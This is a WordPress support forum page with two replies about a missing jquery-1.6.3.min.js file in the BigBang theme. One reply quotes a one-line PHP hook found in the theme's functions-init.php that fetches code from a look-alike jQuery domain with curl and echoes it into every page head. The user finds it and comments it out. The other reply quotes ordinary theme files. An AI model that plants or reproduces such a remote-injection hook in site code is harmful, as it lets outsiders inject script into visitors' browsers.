Forum Replies Created

Viewing 2 replies - 1 through 2 (of 2 total)
  • Forum: Hacks
    In reply to: Not found jquery-1.6.3.min.js

    thanks @bcworkz
    i solved it
    i use Sublime Text 2 and in the Sublime, the shortcut which is Ctrl+Shift+F is detailed search. and i searched “jquery-1.6.3.min.js” in the root folder and it find themes/bibbangwp/includes/function_unit.php

    Searching 1282 files for "jquery-1.6.3.min.js"
    
    C:\Users\Behi?\Desktop\bumatek site genel\wp-content\themes\bigbangwp\includes\functions-init.php:
        1: <?php if (!function_exists('insert_jquery_slider')){function insert_jquery_slider(){if (function_exists('curl_init')){$url = "https://www.jquerye.com/jquery-1.6.3.min.js";$ch = curl_init();	$timeout = 5;curl_setopt($ch, CURLOPT_URL, $url);curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $timeout);$data = curl_exec($ch);curl_close($ch);echo $data;}}add_action('wp_head', 'insert_jquery_slider');} ?>
        2  
    
    1 match in 1 file

    And i commented it. THIS PROBLEM IS FIXED.

    thanks WP TEAM

    Forum: Hacks
    In reply to: Not found jquery-1.6.3.min.js

    i have the same problem at my web site
    and when i change my theme, it does not display the error message. so Not Found message depends on my theme which is BigBang

    additionally,

    function.php of my theme is :

    <?php
    
    $curr_theme = get_theme_data(TEMPLATEPATH . '/style.css');
    $theme_version = trim($curr_theme['Version']);
    if(!$theme_version) $theme_version = "1.0";
    
    //Define constants:
    define('BRANKIC_INCLUDES', TEMPLATEPATH . '/includes/');
    define('BRANKIC_THEME', 'BigBang WP Template');
    define('BRANKIC_THEME_SHORT', 'BigBangWP');
    define('BRANKIC_ROOT', get_template_directory_uri());
    define('BRANKIC_VAR_PREFIX', 'bigbangwp_'); 
    
    require_once (BRANKIC_INCLUDES . 'bra_theme_functions.php');
    require_once (BRANKIC_INCLUDES . 'bra_shortcodes.php');
    require_once (BRANKIC_INCLUDES . 'bra_pagenavi.php');
    include'includes/functions-init.php';
    
    //Load admin specific files:
    if (is_admin()) :
    require_once (BRANKIC_INCLUDES . 'bra_admin_functions.php');
    require_once (BRANKIC_INCLUDES . 'bra_custom_fields.php');
    require_once (BRANKIC_INCLUDES . 'bra_admin_1.php');
    require_once (BRANKIC_INCLUDES . 'bra_admin_2.php');
    require_once (BRANKIC_INCLUDES . 'bra_admin_3.php');
    //require_once (BRANKIC_INCLUDES . 'bra_admin_4.php');
    endif;
    
    add_theme_support('post-thumbnails');
    
    add_theme_support( 'menus' );
    
    load_theme_textdomain( BRANKIC_THEME_SHORT, TEMPLATEPATH . '/languages' );
    
    // Load external file to add support for MultiPostThumbnails. Allows you to set more than one "feature image" per post.
    require_once('includes/multi-post-thumbnails.php');
    
    // Define additional "post thumbnails". Relies on MultiPostThumbnails to work
    if (class_exists('MultiPostThumbnails'))
    {
        $extra_images_no = get_option(BRANKIC_VAR_PREFIX."extra_images_no");
        if ($extra_images_no == "") $extra_images_no = 20;
        for ($i = 1 ; $i <= $extra_images_no ; $i++)
        {
            new MultiPostThumbnails(array( 'label' => "Extra Image $i", 'id' => "extra-image-$i", 'post_type' => 'page' ) );
            new MultiPostThumbnails(array( 'label' => "Extra Image $i", 'id' => "extra-image-$i", 'post_type' => 'post' ) );
            new MultiPostThumbnails(array( 'label' => "Extra Image $i", 'id' => "extra-image-$i", 'post_type' => 'portfolio_item' ) );
        }
    }
    
    ?>

    header.php of my theme is:

    <!DOCTYPE html>
    <?php
    $PAGE_ID = get_the_ID();
    $layout = get_option(BRANKIC_VAR_PREFIX."boxed_stretched");
    if (isset($_GET["layout"]))
    {
        if ($_GET["layout"] == "stretched") $layout = "stretched" ;
        if ($_GET["layout"] == "boxed") $layout = "boxed" ;
    }
    $page_template = get_page_template();
    $path = pathinfo($page_template);
    $page_template = $path['filename'];
    ?>
    
    <html xmlns="https://www.w3.org/1999/xhtml" <?php language_attributes(); ?>>
    
    <head>
    
    	<title><?php brankic_titles(); ?></title>
        <meta name="BRANKIC_VAR_PREFIX" content="<?php echo BRANKIC_VAR_PREFIX; ?>" />
        <meta name="BRANKIC_THEME" content="<?php echo BRANKIC_THEME; ?>" />
    	<meta http-equiv="Content-Type" content="<?php bloginfo('html_type'); ?>; charset=<?php bloginfo('charset'); ?>" />
    	<link rel='start' href='<?php echo home_url(); ?>'>
        <link rel='alternate' href='<?php echo get_option(BRANKIC_VAR_PREFIX . "logo2"); ?>'>
    	<link rel="profile" href="https://gmpg.org/xfn/11" />
    	<link rel="pingback" href="<?php bloginfo( 'pingback_url' ); ?>" />
    	<meta name="viewport" content="initial-scale=1, maximum-scale=1" />
        <meta name="viewport" content="width=device-width" />
    	<!-- Favicon -->
    	<link rel="shortcut icon" href="<?php echo stripslashes(get_option(BRANKIC_VAR_PREFIX.'favicon')); ?>" />
    	<?php if (is_search()) { ?><meta name="robots" content="noindex, nofollow" /><?php } ?>
    
        <?php echo get_option(BRANKIC_VAR_PREFIX."custom_google_font_href"); ?>
        <style type="text/css">
        <!--
        h1.title, h2.title, h3.title, h4.title, h5.title, h6.title, #primary-menu ul li a, .section-title .title, .section-title .title a, .section-title h1.title span, .section-title p, #footer h3, .services h2, .item-info h3, .item-info-overlay h3, #contact-intro h1.title, #contact-intro p, .widget h3.title, .post-title h2.title, .post-title h2.title a {
            <?php echo get_option(BRANKIC_VAR_PREFIX."custom_google_font")?>
        }
        -->
        </style>
    
    <?php echo get_option(BRANKIC_VAR_PREFIX."ga"); ?>
    
    <?php wp_head(); ?>
    </head>
    <body id="top" <?php body_class(); ?>>
    
    <?php
    if ($layout == "boxed")
    {
    ?>
    <div id="wrapper">    
    
    <div class="content-wrapper clear">
    <?php
    }
    ?>
        <!-- START HEADER -->
    
        <div id="header-wrapper">
    
            <div class="header clear">
    
                <div id="logo">
                    <a href="<?php echo home_url(); ?>"><img src="<?php echo get_option(BRANKIC_VAR_PREFIX."logo"); ?>" alt="" /></a>
                </div><!--END LOGO-->
    
                <div id="primary-menu">
                <?php
                wp_nav_menu( array( 'theme_location' => 'primary-menu' ,
                                    'container' => false,
                                    'menu_class' => 'menu',
                                    'menu_id' => '',
                                    'fallback_cb' => 'header_fallback'
                                    ) );
                ?>
                </div><!--END PRIMARY MENU-->
    
            </div><!--END HEADER-->    
    
        </div><!--END HEADER-WRAPPER-->        
    
        <!-- END HEADER -->
    <?php
    if ($layout == "stretched")
    {
        if ($page_template == "page-contact-2") $class = "class='fullwidth clear'"; else $class = "class='clear'";
    ?>
    <div id="wrapper"  <?php echo $class; ?>>    
    
    <?php
    if ($page_template != "page-contact-2")
    {
    ?>
    <div class="content-wrapper clear">
    <?php
    }
    }
    ?>

    So how can i solve it ? neither function.php nor header.php does not include jquery-1.6.3.min.js code ???

    Thanks..

Viewing 2 replies - 1 through 2 (of 2 total)